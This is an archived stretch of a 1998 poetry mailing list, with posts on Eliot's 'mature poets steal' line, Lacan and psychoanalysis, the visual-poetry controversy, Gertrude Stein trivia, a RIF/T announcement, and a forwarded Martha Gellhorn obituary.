> phrase handy (i can never find thee things).
>
> I will be very grateful
>
> in the words of Katy Lederer, "THIS IS AN EMERGENCY!"
>
> thanks, chris

Hi Chris,

I can't find the exact reference: but I think it's more to the effect of: Good poets borrow; great poets steal.

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584. **Henry Gould**
Re: EMERGENCY
Mon 16 Feb 1998

---

chris stroffolino wrote:
>
> Doess anybody have the exact quote for Eliot's
> "bad poets borrow; good poets steal"
> phrase handy (i can never find thee things).
>
> I will be very grateful
>

The quote comes from Eliot's essay "Philip Massinger", and runs as follows: "Immature poets imitate; mature poets steal; bad poets deface what they take, and good poets make it into something better, or at least different."

A great indie-critic comment. But then, Eliot was always promoting himself, even here: the anagram of his name is "stole it".
- Henry Gould

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585. **Robert Hale**
Lacan on Poetry
Mon 16 Feb 1998

Nick Piombino expressed interest in a post last week regarding the reputation of psychoanalysis among poets.

Lacan was questioned (I paraphrase throughout my note here from an issue of OCTOBER that featured a translation of a television broadcast that Lacan did in the Seventies) regarding one of his core ideas -- "the unconscious is structured like a language" -- What do you do with anything that doesn't get mixed up with words? What of psychic energy, or affect, or the drives?"

Lacan answered in line with tradition (Galileo, Newton) that energy is nothing other than the numerical value of a constant that allows physicists to do their work. The unconscious isn't something to be numerically expressed, but to be deciphered. You can't verify a so called "life force" (a crude metaphor for energy used by some) as anything other than representation.

Affect, Lacan continued, is a discharge of adrenalin that is also a discharge of thought, and therefore displaced, and therefore metonymic.

He went on to designate poetry, specifically Dante, as a prime example of this process, which begins with Plato and early Christian efforts at subsectioning

the passions of the soul on the model of the body, where sadness (depression) isn't merely a state of the soul, but something which is "located only in relation to thought, that is, in the duty to be well-spoken, to find one's way in dealing with the unconscious, with the structure."

In contrast, Lacan offers a reference to *gai savoir* (gay science) an expression the Provencal troubadours used to designate their poetry, as a happy-go-lucky enjoyment of deciphering -- happy without suspecting what reduces you to a dependence on language. The poet's moodiness (or whatever you want to call it) would be his or her relationship to the real via this dependence, the manifestation of ideas that are forceful enough for you to feel exiled from them.

Lacan concludes, borrowing from Heidegger: "Affect, therefore, befalls a body whose essence it is said is to dwell in language."

Heidegger wrote in his "Letter on Humanism": "Only from this dwelling 'has' he 'language' as the home that preserves the ecstatic for his essence. [...] Language is at once the house of Being and the home of human beings."

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586. Dale M Smith
Vizpo? Oh, no
Mon 16 Feb 1998

First I'd like to say that I welcome any and all voices to contribute to this space. If I am perceived as some sort of deterent to free expression on this list, I apologize. In fact, I demand its opposite -- freedom in the sense that no one second-guesses themselves and that all contribute as they see fit to this floating arena. Free and frank expression has always been my priority. I think that if it's lacking here then it's for reason other than my posts. But obviously, others take a different view.

I'm curious as to why the Vizpo folks aren't saying more about the travestythat has taken place. Or, I should say *may* have taken place. Since the only way to prove Kent right in this is to have the perpetrators of the crime turn themselves in. Regardless, the really sad thing about this is that many poets in Latin America are going to be silenced in this country. They are the ones truly victimized by the halting of this project. Is there nothing to say? A few weeks ago Vizpo was all the rage. Where did all that enthusiasm go? Does this not interest anyone? A potentially valuable project is sunk now. What a drag. But Veezpo is safe in the USA...

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587. **Steve Tills**
Re: Vizpo? Oh, no
Mon 16 Feb 1998

Possibly many of them are actually busy writing, living, attending to infinite other interests?

Dale M Smith wrote:

> *First I'd like to say that I welcome any and all voices to contribute to this space. If I am perceived as some sort of deterent to free expression on this list, I apologize. In fact, I demand its opposite -- freedom in the sense that no one second-guesses themselves and that all contribute as they see fit to this floating arena. Free and frank expression has always been my priority. I think that if it's lacking here then it's for reason other than my posts. But obviously, others take a different view.*
>
> *I'm curious as to why the Vizpo folks aren't saying more about the travestythat has taken place. Or, I should say *may* have taken place. Since the only way to prove Kent right in this is to have the perpetrators of the crime turn themselves in. Regardless, the really sad thing about this is that many poets in Latin America are going to be silenced in this country. They are the ones truly victimized by the halting of this project. Is there nothing to say? A few weeks ago Vizpo was all the rage. Where did all that enthusiasm go? Does this not interest anyone? A potentially valuable project is sunk now. What a drag. But Veezpo is safe in the USA...*

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588. **Joe Amato/Kass Fleisher**
news flash...
Mon 16 Feb 1998

---

watching the tube this afternoon, i was surprised to find jeopardy running the category

"gertrude stein says..."

1st clue: "a" this "is a" this "is a" this.
last clue: the city about which she said "there is no there there"

(approx.)

thought you all might wanna know...

best,

joe

↑ Index

589. **Gwyn McVay**
Re: EMERGENCY
Mon 16 Feb 1998

A great indie-critic comment. But then, Eliot was always promoting himself, even here: the anagram of his name is "stole it".<<<

It's also "toilets," which influenced the famous Creedence Clearwater Revival lyric:

> Don't go out tonight, it's bound to take your life
> There's a bathroom on the right.

(also collected a really fabulous mondegreen: my friend D. Feingold, who is from Florida, heard Billy Bragg's line "Here comes Richard" as "Hey, country Jew.")

g mc.

↑ Index

590. **david bromige**
a civil tongue
Mon 16 Feb 1998

"A civil tongue" proves a trojan horse :
Summerhayes' "snotty" is somewhat coarse.
Bowering had merely turned his nose up :
Summerhayes says that it dripped in his cup.

db 3

↑ Index

591. **Joe Brennan**
Re: Lacan on Poetry
Mon 16 Feb 1998

In a message dated 98-02-16 16:53:46 EST, you write:

<< The unconscious isn't something to be numerically
expressed, but to be deciphered. >>

"Hence my proposition that the analyst hystorizes from himself: a patent fact.... What hierarchy could confirm him as an analyst, give him the rubber stamp? A certificate tells me that I was born. I repudiate this certificate: I am not a poet, but a poem. A poem that is being written, even if it looks like a subject." J. Lacan, The Four Fundamental Concepts of Psychoanalysis, p.viii (Norton).

Joe Brennan

↑ Index

592. **David Kellogg**
Re: Lacan on Poetry
Mon 16 Feb 1998

Joe Brennan quoted:

>"Hence my proposition that the analyst hystorizes from himself: a patent
>fact.... What hierarchy could confirm him as an analyst, give him the rubber
>stamp? A certificate tells me that I was born. I repudiate this certificate:
>I am not a poet, but a poem. A poem that is being written, even if it looks
>like a subject." J. Lacan, The Four Fundamental Concepts of Psychoanalysis,
>p.viii (Norton).

Hey, the last part of this is the epigraph to my article, "Desire Pronounced and/Punctuated: Lacan and the Fate of the Poetic Subject," which appeared in American Imago 52.4 (Winter 1995), an article that's pertinent to this thread (tho it deals mainly with "official verse culture").

Also of interest: _Rhetoric and Culture in Lacan_, by Gilbert D. Chaitin (Cambridge UP, 1996), the only book in English, as far as I know, to deal extensively with Lacan's theory of poetry.

Cheers,
David
~~~
~~~

1) Wouldn't all this be cleared if Ken just wrote to his friend in South America, find out who is/are saying these bad things about him. Then after finding out write to these/the people/persons and asking what the problem is. I know this seems rather simplistic, but wouldn't that solve the problem more than having this moral outing of someone(s) who may subscribe to the list.

For all I know this South American Poet may be insane, Ken maybe insane,and the entire Poet Mafia maybe insane also. Or they can all be totally sane, and there is a conspiracy. But then again, instead of asking point blank for someone to come clean on the list, it is best just to communcate with the poet and see who is behind it.

And then third, why would a third party be concerned about another's project? I am sorry, but none of this makes sense to me.

Tosh Berman
TamTam Books

↑ Index

594. **Joe Ahearn**
Re: Some Composed Responses
Mon 16 Feb 1998

Henry said:

> *It may be that Kent has been victimized by some "powerful" people in the "poetry world"; this is a possibility; in which case everybody's continued participation in that world on those terms shares some blame. But the case has to be made, first. - Henry Gould*

I disagree. I and only I am to blame. I'm Spartacus!

Joe Ahearn

_____
[redacted]

↑ Index

595. **Don Summerhayes**
a civil tongue
Mon 16 Feb 1998

Aren't there enough people yet despising poems without Bowering's snotty remarks?

George Bowering wrote:
>
> >"Canadian Literature" magazine, which used to welcome poetry between its
> >pages of academic abstracts, essays, and reviews, and even paid, which was
> >very welcome, is now insisting on retaining all copyright and all moral
> >rights, with no further consideration due the poet. To be fair, they will
> >allow writers to re-publish their work, free of charge in most cases, but
> >will bill the writers for enquiries. Mind you, that's not the point. The
> >point is that publication in "Canadian Literature" is now deemed to be so
> >prestigious that one would, presumably, be willing to abdicate copyright in
> >order to get in.
>
> But of course it is not. The poetry published in the magazine is pretty bad
> stuff, mainly creative writing poems, short descriptive pieces that I
> cannot believe anyone but the authors reads.
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
>
> fax: [redacted]

↑ Index

596. **simon**
Oklahoma query
Mon 16 Feb 1998

Sorry to bother the list with this rather off-topic request, but...

For help with a linguistic survey related to an article I and my colleague are doing

if anyone here is in or from Oklahoma, would you contact me please?

and

if anyone is presently at an academic institution in Oklahoma, would you contact me please.

thanks,

beth simon
assistant professor, linguistics and english

indiana university purdue university
[redacted]

↑ Index

597. **Maria Damon**
Re: contagion
Mon 16 Feb 1998

---

terrific post
only
i can't wear those high heels anymore
hard on the knees and the feets at this advanced age
so i'll keep those heels metaphoric
and meanwhile relish the thot of bowering and bromige in stilettos as they
sit before their silver screens tap tap tapping...

At 10:09 PM -0700 2/15/98, Billy Little wrote:
>I'm with Charles and that other who mentioned we should all wear high heels
>when we're responding. Keep in mind in these contagious times, spit carries
>the flu and the flu doesn't stop at you, take your pills before it spills
>into our brains and then our lovers brains and how far is the infants
>choochoo trains?
>i feel for Kent but at the same time my sypathy strains harder to reach the
>person being eligible for a sabbatical and another who's stretching 5-6000
>a year, there's heartbreak and hartebrake. i want to see those whines
>distilled to songs, to blues perhaps, one day the list will have a sound
>track, we'll all write to the accompaniment of Carl Orff and feel humble or
>exalted, powerful seats of response. Bitterness does not further. Save your
>strength for new creation, stimulate me, the poet citizens responsibility,
>there's enough that brings us down already. Consolation is what we want for
>the Israelis and Palestinians, consolation we seek for the iraqis and the
>yanks, consolation we need to admit in own relations. Consolation not
>conflagration. If only there were a madison ave of the left, me and
>mayakovsky we'd be millionaires.
>
>namaste

↑ Index

598. **henry**
Re: EMERGENCY
Mon 16 Feb 1998

On Mon, 16 Feb 1998 17:42:11 -0500 Gwyn McVay said:
>
>It's also "toilets," which influenced the famous Creedence Clearwater
>Revival lyric:
>
> Don't go out tonight, it's bound to take your life
> There's a bathroom on the right.

But is there a moon in the bathroom? Aye, there's the rub. - Hamlet on a roll

↑ Index

599. **Mark Weiss**
Re: Lacan on Poetry
Mon 16 Feb 1998

One of the problems with the thought of Freud and those descended from him is that they accept as fact without question a set of assumptions for which there is no empirical evidence. The unconscious as a separate realm, for instance, is a necessary construct only for those who like Freud derive their theory of the psyche from Wagnerian romanticism, although it is a pretty idea. But there is no reason to suppose that it exists in nature (as opposed to the obvious existence of processes and impulses of which we are unconscious).
Here's a few more such:
the Oedipus "complex" and its universality
Freudian developmental theory
penis envy
the neutrality of the analyst.

At 05:46 PM 2/16/98 EST, you wrote:
>In a message dated 98-02-16 16:53:46 EST, you write:
>
><< The unconscious isn't something to be numerically
> expressed, but to be deciphered. >>
>
>"Hence my proposition that the analyst hystorizes from himself: a patent
>fact.... What hierarchy could confirm him as an analyst, give him the rubber
>stamp? A certificate tells me that I was born. I repudiate this
certificate:
>I am not a poet, but a poem. A poem that is being written, even if it looks

>like a subject." J. Lacan, The Four Fundamental Concepts of Psychoanalysis,
>p.viii (Norton).
>
>Joe Brennan
>
>

↑ Index

600. Harriet Zinnes
Re: Oklahoma query
Mon 16 Feb 1998

---

16 February l998

My two children, Clifford (now Harvard economist Dr. Clifford Zinnes) and Alice (now award-winning painter) were born in Norman, Oklahoma, while my husband, Dr. Irving Zinnes, was professor of physics at the University of Oklahoma. I supose this is of no help at all to you, but I did have to tell you that my children are Sooners!

Best to you on whatever linguistic project you are on!

Harriet

[redacted]

↑ Index

601. David R. Israel
Fenton on Hughes' Plath
Mon 16 Feb 1998

---

f.y.i.,
the current (March 5) issue of the NY Review of Books has James
Fenton's take on Ted Hughes' book of poems on Sylvia Plath.

http://www.nybooks.com/nyrev/index.html
or more particularly:
http://www.nybooks.com/nyrev/WWWfeatdisplay.cgi?1998030507R
registration (sans fee) required, I believe.

d.i.

↑ Index

602. **Daniel Zimmerman**
Re: Lacan on Poetry
Mon 16 Feb 1998

Robert Hale wrote, in part:

Lacan answered in line with tradition (Galileo, Newton) that energy is nothing other than the numerical value of a constant that allows physicists to do their work. The unconscious isn't something to be numerically expressed, but to be deciphered. You can't verify a so called "life force" (a crude metaphor for energy used by some) as anything other than representation.

Affect, Lacan continued, is a discharge of adrenalin that is also a discharge of thought, and therefore displaced, and therefore metonymic.

Joe Brennan wrote:
>
> In a message dated 98-02-16 16:53:46 EST, you write:
>
> << The unconscious isn't something to be numerically
> expressed, but to be deciphered. >>
>
> "Hence my proposition that the analyst hystorizes from himself: a patent
> fact.... What hierarchy could confirm him as an analyst, give him the rubber
> stamp? A certificate tells me that I was born. I repudiate this certificate:
> I am not a poet, but a poem. A poem that is being written, even if it looks
> like a subject." J. Lacan, The Four Fundamental Concepts of Psychoanalysis,
> p.viii (Norton).
>
> Joe Brennan

Talk about metonymic! But metonymic for what? For I? For another metonymy? Does Lacan perform an Indian Rope Trick here, hauling up the chain of signifiers behind him into a tiny cloud, which then burns off in the sunlight? Does the "poem" read itself, or does identity proceed automatically, metronomically? But that might imply a kind of not-yet- discovered quantity, as if the writing of the poem occurred by the accretion of a series of numbers not yet discovered as a series, no? With what sort of confidence does Lacan write off the possibility of a numerical character of the unconscious, yet call in the same breath for its de*cipher*ment, especially since he hees himself as subject in the process of "being written"? Who runs these 'numbers' down on Jacques Lacan? Who sits in on the renga?

Dan Zimmerman
neither analyst nor analysand

"no honey for me, nor the honeybee"
--Sappho

↑ Index

603. **Joe Brennan**
Re: Lacan on Poetry
Mon 16 Feb 1998

In a message dated 98-02-16 20:20:50 EST, you write:

<< One of the problems with the thought of Freud and those descended from him
is that they accept as fact without question a set of assumptions for which
there is no empirical evidence. The unconscious as a separate realm, for
instance, is a necessary construct only for those who like Freud derive
their theory of the psyche from Wagnerian romanticism, although it is a
pretty idea. But there is no reason to suppose that it exists in nature (as
opposed to the obvious existence of processes and impulses of which we are
unconscious).
Here's a few more such:
the Oedipus "complex" and its universality
Freudian developmental theory
penis envy
the neutrality of the analyst.

It's always been my experience that those who have had no significant contact with psychoanalysis are those who, like Katy Lederer earlier, and Mark Weiss now, are most inclined to dismiss Freudian experience; and usually when this fact is pointed out, it tends to be dismissed as an unreasonable imposition. Yet the experience of analysis is where the empircal evidence is found that Mark Weiss claims doesn't exist. To say that J. Lacan and others "accept as fact without question a set of assumptions for which there is no empirical evidence.", is astonishingly smug; all, or nearly all analysts since Freud are/have been so stupid and so dishonest as to ignore both their professional and personal integrety so as to "perpetuate their theory of the psyche [derived] from Wagnerian romanticism". There have been many attempts --all of them futile, I believe -- to impliate Freud in the works of others, but I think that this is the least imaginative that I've heard or read. But then I belong to that school which teaches that one should know something before speaking about it, and then only speaking to that which is supported by one's experience.

It's not my intent to be Freud's defender on this list, although anyone who wants to chat about it can back-channel me at JBCM2.aol.com.

↑ Index

604. **George Bowering**
Re: Banjo
Mon 16 Feb 1998

> "*Spahnie also played a mean banjo with another manager, Cholley Grimm.*"
>
> *How does this compare with Stan Musial's harmonica?*
>
> *Ron*

Hey, I happen to OWN an LP of Denny McLean or however you spell it, playing the organ.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]

↑ Index

605. **George Bowering**
Re: Vizpo? Oh, no
Mon 16 Feb 1998

> *Regardless, the really sad thing about this is that many poets in Latin America are going to be silenced in this country.*

That's an interesting concept: "silencing" the "visual" poets. Hmmm.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
fax: [redacted]

↑ Index

606. **George Bowering**
Re: Why I'm an experimental poet
Mon 16 Feb 1998

I dont see a problem in talking about experimental poetry, as long as what you are doing redembles the procedure in experiments you did in Chem classes in highschool. And as long as you remember that most experiments fail.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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607. Kenneth Sherwood

Announcing: LOCAL EFFECTS -- For Robert Creeley (RIF/T 06)

Tue 17 Feb 1998

Announcing

L O C A L E F F E C T S

For ROBERT CREELEY

Local Effects (RIF/T 06) is available at
http://writing.upenn.edu/epc/rift.

Contributors include:

Robert Creeley and Charles Bernstein from LINEbreak,
Michael Basinski, Mike Boughn, Elizabeth Burns,
John Clarke, Peter Gizzi and Elizabeth Willis,
Loss Pequeno Glazier, Vincent S. Gregory, Jorge Guitart,
Jefferson Hansen, Steve McCaffery, Jim Pangborn,
Scott Pound, Kristin Prevallet, Kenneth Sherwood,
Juliana Spahr, Dennis Tedlock, and Mark Wallace

Thanks to all the past and present Buffalonians who contributed.

"Local Effects" marks the last regular-format issue of RIF/T. Beginning with RIF/T 07, the format will offer a more compact and more quickly circulated selection of texts. Submissions are being accepted for RIF/T 08, for release in May. Submissions of poetry for section 1; and hypertext fiction, reviews, interviews, and non-standard prose for section 2. are welcomed. Online exhibits from the EPC will be high-lighted in section 3.

HTML format texts are accepted with gratitude. Please submit via email to [redacted] and [redacted] simultaneously.

RIF/T 07 will be available in March, featuring work by:

Radio Free Altera, Jacques Debrot, Vanessa Grim,
Mark Lunt, Emily Lloyd, Henry Gould, Jeffrey Little,
Donald Lutton, Susan Schultz, Dennis Tedlock,
and Aviram Sachs reviewing Jerome Rothenberg's _Gematria_
and more.

↑ Index

608. **maz881**
Re: Civil Society, or Knot
Tue 17 Feb 1998

Dear CharlesB & List,

I agree in general with the tenor of your message (and that of the whiner(s)) that people should not be "mean" to each other -- so yes indeed I think Norman Fischer's definition of emptiness on the non channel is in need of review:

"Three attitudes arise as a consequence of the appreciation of emptiness:

flexibility - since nothing is real, fixed, separate, or able to be possessed resistance is self-defeating

kindness - since everything is nothing but connection kindness is natural

humility - who is going to feel like he's master of all this talk?"

So . . . Bad Dale! (&! anyone! else! who! hasn't! reached! enlightenment!)! Go get empty! However, I would like to debuke the writer of the complaint for lacking a sense of humor. Dale's use of the word fealty was hilarious, if not accurate. Obviously [insert name of favorite early modernist explosive dude] would not last long on this list.

Bill Luoma

ps. Charles, I feel like my ability to exist freely and openly on this list is being hampered by Henry Gould's excessive posting. Could you have a word with him on my behalf?

↑ Index

609. **Mark Weiss**
Re: Lacan on Poetry
Tue 17 Feb 1998

Yup, it is an unreasonable imposition to require as a qualification to discuss psychoanalysis that one have been an analyst or analysand, just as it would be unreasonable to limit the discussion of poetry to poets or christianity to christians.

I'm not sure, however, that I'm disqualified on that account. I was in psychoanalytic psychotherapy, couch and all, three times a week for three and a half years. I was myself a psychotherapist for 15 years, during which I had a lot of professional contact with those of the psychoanalytic persuasion, some of whom are friends, some not, and some are good therapists, perhaps despite their theoretical underpinnings. This involved extensive discussions of cases both in formal case conferences and in private consultations. But maybe I don't know enough. Maybe only the convinced know enough. By the way, that Lacan works within the framework of a rather strange mythology in no way invalidates his ideas about poetry, it merely renders the process by which he arrives at them somewhat more tortuous. One's allegiance to one's analyst or one's challenges to psychoanalytic theory are relevant to this list's purpose in that Freud's metaphoric system has been hugely influential on some poets and thinkers about poetry. Beyond that, I'm not sure that this is the forum for this discussion. Let's just not, those of us who try to question everything that comes before us in the form of language, exclude this one area and assume as fact what is merely speculative, in this case the existence of an entity in the mind called "the unconscious."

At 11:20 PM 2/16/98 EST, you wrote:
>In a message dated 98-02-16 20:20:50 EST, you write:
>
><< One of the problems with the thought of Freud and those descended from him
> is that they accept as fact without question a set of assumptions for which
> there is no empirical evidence. The unconscious as a separate realm, for
> instance, is a necessary construct only for those who like Freud derive
> their theory of the psyche from Wagnerian romanticism, although it is a
> pretty idea. But there is no reason to suppose that it exists in nature (as
> opposed to the obvious existence of processes and impulses of which we are
> unconscious).
> Here's a few more such:
> the Oedipus "complex" and its universality
> Freudian developmental theory
> penis envy
> the neutrality of the analyst.
>
>
>It's always been my experience that those who have had no significant contact
>with psychoanalysis are those who, like Katy Lederer earlier, and Mark Weiss
>now, are most inclined to dismiss Freudian experience; and usually when this
>fact is pointed out, it tends to be dismissed as an unreasonable imposition.

>Yet the experience of analysis is where the empircal evidence is found that
>Mark Weiss claims doesn't exist. To say that J. Lacan and others "accept as
>fact without question a set of assumptions for which there is no empirical
>evidence.", is astonishingly smug; all, or nearly all analysts since Freud
>are/have been so stupid and so dishonest as to ignore both their professional
>and personal integrety so as to "perpetuate their theory of the psyche
>[derived] from Wagnerian romanticism". There have been many attempts
--all of
>them futile, I believe -- to impliate Freud in the works of others, but I
>think that this is the least imaginative that I've heard or read. But then I
>belong to that school which teaches that one should know something before
>speaking about it, and then only speaking to that which is supported by one's
>experience.
>
>It's not my intent to be Freud's defender on this list, although anyone who
>wants to chat about it can back-channel me at JBCM2.aol.com.
>
>

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610. **Miekal And**
Re: ripblinkly broken skyword
Tue 17 Feb 1998

---

daniel:

these smell like neologisms, can I put them in the dictionary of neologisms?

miekal

Dict of Neo
olfactory division

http://www.net22.com/neologisms/

↑ Index

611. **Miekal And**
Why poet funny, no?
Tue 17 Feb 1998

George Bowering wrote:
>
> I dont see a problem in talking about experimental poetry, as long as what
> you are doing redembles the procedure in experiments you did in Chem

> classes in highschool. And as long as you remember that most experiments
> fail.

its also experimentation that produced electricity, cathode rays, the computer your typing on, the radio in the background, the food you eat, the toilet you shit in & those newfangled aluminum baseball bats. Of course whether a poet acknowledges experimentation in their work is no indication of whether the poem fails. & besides the only experiments I ever did in Chem class was trying to write poetry in the margins of my notebook without being discovered.

miekal

tapped & cooked down the first batch of maple syrup this spring, one month sooner than ever before...el nino has the seasons in her control. its thru experimentation that I taught myself how to make good syrup & every cookdown Ive done has had a different set of conditions which were unpredictable, thus the "scientific method"...

↑ Index

612. Miekal And
[FLASHFORWARD] Writing on the wall or where has the vispo rant gone?
Tue 17 Feb 1998

Dale M Smith wrote:

> *I'm curious as to why the Vizpo folks aren't saying more about the travestythat has taken place.*

somethings are best approached backchannel. & what really can be said until real facts are known. its interesting to me that because a number of us spoke up in support of visual poetry, weve acquired some kinda marketing niche that we occupy as heir & keeper.

Regardless, the really sad thing about this is that many poets
> in Latin America are going to be silenced in this country. They are the ones
> truly victimized by the halting of this project. Is there nothing to say?

I dont understand why anyone is being silenced, its quite easy to acquire work from south american visual poets, for shows & publication, this was one person's attempt via one south american contact who admittedly is very well known & influential, but southamerican visual poetry is not a ship passing in the night, it has a 50 year history with 100s of practioners. (Check out Cesar Espinosa's Corrosive Signs: Essays on Experimental Poetry (Damn there's that word again) Visual, Concrete, Alternative, 1990. Translated by Harry Polkinhorn.)

A
> few weeks ago Vizpo was all the rage. Where did all that enthusiasm go? Does
> this not interest anyone? A potentially valuable project is sunk now. What
> a drag. But Veezpo is safe in the USA...

No one I know has an agenda for world domination by the american vispo mafia...there is certainly an interest in seeing visual poetry represented as an international movement that operates via networking outside of the normal publishing & academic channels, & expanding textuality beyond 2 dimensions....but a little freespirited consciousness raising doesnt represent a stronghold to be defended against all odds.

↑ Index

613. **Pierre Joris**
Re: Fenton on Hughes' Plath
Tue 17 Feb 1998

Given that for poetic triteness & drivel, Fenton perfectly matches his buddy Hughes, the piece is the expected defense & illustration of Hughes greatness. Wish Fenton had remained the excellent journalist that he was in his early days -- in the realm of poetry & poetics, he can't write his way out of a paperbag.

Pierre

David R. Israel wrote:

> *f.y.i.,*
> *the current (March 5) issue of the NY Review of Books has James*
> *Fenton's take on Ted Hughes' book of poems on Sylvia Plath.*
>
> *http://www.nybooks.com/nyrev/index.html*
> *or more particularly:*
> *http://www.nybooks.com/nyrev/WWWfeatdisplay.cgi?1998030507R*
> *registration (sans fee) required, I believe.*
>
> *d.i.*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."

— La Rochefoucauld
==========

↑ Index

614. **Daniel Carter**
ripblinkly broken skyword
Tue 17 Feb 1998

{ } multiple pre(-)

ripblinkly broken up t' be reassymbowled 'n' arrowed 'n' narrowed 'n' broad-henned t' view furl fer all t' sea 'n' shore unshoreagain akin but note the shame aflame t' tame 'n' claim the game away off the canvas thus released libravery chord renude

{ } intro-void (sorrowsborrows)

new workspace null-sweat phantasy alternate spell t' be un-(d' UR)

or on top t' twist off her awe on or nothin' worn nor sworn test her moaning ink-call moist a nom frame-flamingly functioning recipient version virgin reflesh-ment flo-glyph favor-list illuminated simplicities his book among money as a guyed elope ora chord-cable type as we glow (a)long aura short aversion of the pleasant applaudcastle outgloat scent d' Sea-Associated Blushes standboy vuoyed competitive spices if fuel a lie furl diffle lens a sound in/out utterways node Haspro Nuns Sea Asian Nation Association born dare wit doubt accrue the stimulus vent radiant transmissives after whitenesting sequentials detail as a verveworthy co-math ink after white neat wing edit Sean did without visible au-dible Oedipal nor edible plebpouradiation up here a pawn the screen appear more numerous his kin 'n' ken his skin again reflexed thin blinked back off her relief reprieve we all brief a riddle more essayly flora-sec

http://www.inch.com/~abz/

↑ Index

615. **Sylvester Pollet**
Re: Oklahoma query
Tue 17 Feb 1998

Try George Economou at Univ. of O. He directs the Creative Writing program there, or did recently. Also Rochelle Owens.

At 7:37 PM -0500 2/16/98, [redacted] wrote:
>Sorry to bother the list with this rather off-topic request, but...
>
>For help with a linguistic survey related to an article I and my

>colleague are doing
>
>if anyone here is in or from Oklahoma, would you contact me please?
>
>and
>
>if anyone is presently at an academic institution in Oklahoma,
>would you contact me please.
>
>thanks,
>
>beth simon
>assistant professor, linguistics and english
>indiana university purdue university
>[redacted]

↑ Index

616. **Mark Prejsnar**
Re: news flash...
Tue 17 Feb 1998

Stein in popular culture exists as two quotes (one about Oakland, one about flowers); as being rather large and square-faced physically; and being a lesbian. Even the (commonsensepo, as it were) popularly-diffused noteriety of her "difficult" work has faded from mass culture. (About the latter, see Michael Davidson's wonderful new book, Ghostlier Demarcations..It doesn't really address the "material text" in quite the way it promises, and it has longeurs, but features a wonderful mind and lots of great bits; anyway it examines a WC Fields movie that included a rather clever and good parody of Stein's poetry...I guess the equivalent would be travesties of Clark Coolidge on Saturday Night Live. Stein has well and truely faded from official culture's mind compared to back then.)

On Mon, 16 Feb 1998, Joe Amato/Kass Fleisher wrote:

> *watching the tube this afternoon, i was surprised to find jeopardy running the category*
>
> "*gertrude stein says...*"
>
> *1st clue: "a" this "is a" this "is a" this.*
> *last clue: the city about which she said "there is no there there*"
>
> *(approx.)*
>
> *thought you all might wanna know...*

> *best,*
>
> *joe*

↑ Index

617. **Joe Amato/Kass Fleisher**
Re: news flash...
Tue 17 Feb 1998

---

mark, which brings to mind the astaire-rogers musical (i think it's) _swing time_ (if memory serves me)_... whereupon receipt of a telegram being read aloud with "... stop ... stop ... stop" prompts (i think it's) astaire (can't quite recall) to say something like "sounds like a passage from gertrude stein"...

have to go back and check that...

best,

joe

↑ Index

618. **Pierre Joris**
[Fwd: Martha Gellhorn obit]
Tue 17 Feb 1998

This is a multi-part message in MIME format.

Martha Gellhorn died 15 February; the link below is to the Manchester Guardian obit.

> *Name: GELLHORN.TXT*
> *GELLHORN.TXT Type: Plain Text (text/plain)*
> *Encoding: 8bit*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
==========

by sarah.albany.edu (8.8.8/8.8.8) with ESMTP id JAA15521
for <[redacted]>; Tue, 17 Feb 1998 09:46:33 -0500 (EST)
by dub-img-8.compuserve.com (8.8.6/8.8.6/2.10) id JAA21132;
Tue, 17 Feb 1998 09:47:43 -0500 (EST)
Date: Tue, 17 Feb 1998 09:21:57 -0500
From: John Whiting <[redacted]>
Subject: Martha Gellhorn obit
To: *Charles Amirkhanian <[redacted]>, John Perry Barlow <[redacted]>,
Ann Basart <[redacted]>, Larry Bensky <[redacted]>,
*Jeffrey Blankfort <[redacted]>,
*Dave Foister <[redacted]>,
Peter Franck <[redacted]>, *Richard Friedman <[redacted]>,
"*\"Lyn Gerry\"" <[redacted]>,
*Maria Gilardin <[redacted]>,
DAVID LANCE GOINES <[redacted]>,
"Philip Gordon" <[redacted]>,
"Gray, Kathelin" <[redacted]>, Doug Henwood <[redacted]>,
"*\"Hallock Hoffman\"" <[redacted]>,
*Michael Hrebeniak <[redacted]>,
"Craig A. Johnson" <[redacted]>,
*Pierre Joris <[redacted]>, John Kenny <[redacted]>,
Zoe Klippert <[redacted]>, Hugh Macdonald <[redacted]>,
*Aubrey Meyer <[redacted]>,
Marc Millon <[redacted]>, *jack nessel <[redacted]>,
"*\"John Ohliger\"" <[redacted]>,
Andy Oram <[redacted]>, George Orick <[redacted]>,
*Nigel Osborne <[redacted]>,
*Michael P <[redacted]>, Ned Paynter <[redacted]>,
Alan Rich <[redacted]>,
Charles Shere <[redacted]>,
*Carl Stone <[redacted]>, Laura Weathered <[redacted]>,
John Whiting <[redacted]>

A reminder, if any is needed, of how the rules of the game have changed. Those who are reporting directly on today's obscenities are likely to be of an age closer to Gellhorn's than to that of the super-successful young turks who tell us what Sexy Spice is wearing this week.

##

The [London] Guardian February 17 1998

OBITUARIES

Martha Gellhorn

A WITNESS TO OUR WORLD AT WAR

THE streetcars of her hometown of St Louis, Missouri, shaped the life of Martha Gellhorn, who has died aged 89. Her suffragette mother and doctor father had raised her to confidence and campaigning, and, as a child, she had freedoms her peers did not; she roamed the city alone on those cars, looking in on lives unlike her own. "One bends one's one twig and it stays bent," she drawled long after.

She was briefly collegiate at Bryn Mawr, she was a cub reporter surviving on a diet of doughnuts. Then at 21, in 1930, her life began with a steerage-class passage to Europe, $75 and a suitcase. She went to Paris to become a foreign or, better still, a roving correspondent. Just like that.

Even for a girl who looked, as she once remarked, like the cartoon character Betty Boop - all batted eyelashes - and had limitless insouciance, it did not happen quite like that. Gellhorn sold any old writing she could and got a "very high-class education - standing room at ground level to watch history as it happened".

